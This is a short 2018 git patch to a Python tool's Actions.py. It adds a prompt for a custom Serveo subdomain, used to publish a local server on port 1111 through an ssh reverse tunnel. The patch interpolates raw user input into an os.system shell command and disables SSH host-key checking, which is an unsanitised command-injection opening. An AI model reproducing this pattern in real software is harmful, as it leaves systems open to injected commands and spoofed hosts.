From 803604b8920809c33bd57adcc35fa80739592816 Mon Sep 17 00:00:00 2001 From: Usama Abdul Sattar Date: Thu, 6 Dec 2018 18:53:15 +0500 Subject: [PATCH] custom subdomain for serveo --- Defs/Actions.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Defs/Actions.py b/Defs/Actions.py index 6bcd6f2..2fe1af1 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -102,10 +102,12 @@ def runNgrok(): break def runServeo(): - system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:1111 serveo.net > link.url 2> /dev/null &') + print(_("\n {0}Insert a custom subdomain for serveo").format(RED, DEFAULT)) + lnk = input(_("\n {0}CUSTOM Subdomain>>> {1}").format(RED, DEFAULT)) + system('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R %s:80:localhost:1111 serveo.net > link.url 2> /dev/null &' % (lnk)) sleep(7) try: - output = check_output("grep -o 'https://[0-9a-z]*\.serveo.net' link.url",shell=True) + output = check_output("grep -o 'https://[_0-9a-z]*\.serveo.net' link.url",shell=True) url = str(output).strip("b ' \ n") print("\n {0}[{1}*{0}]{1} SERVEO URL: {2}".format(RED, DEFAULT, GREEN) + url + "{1}".format(RED, DEFAULT, GREEN)) print("\n")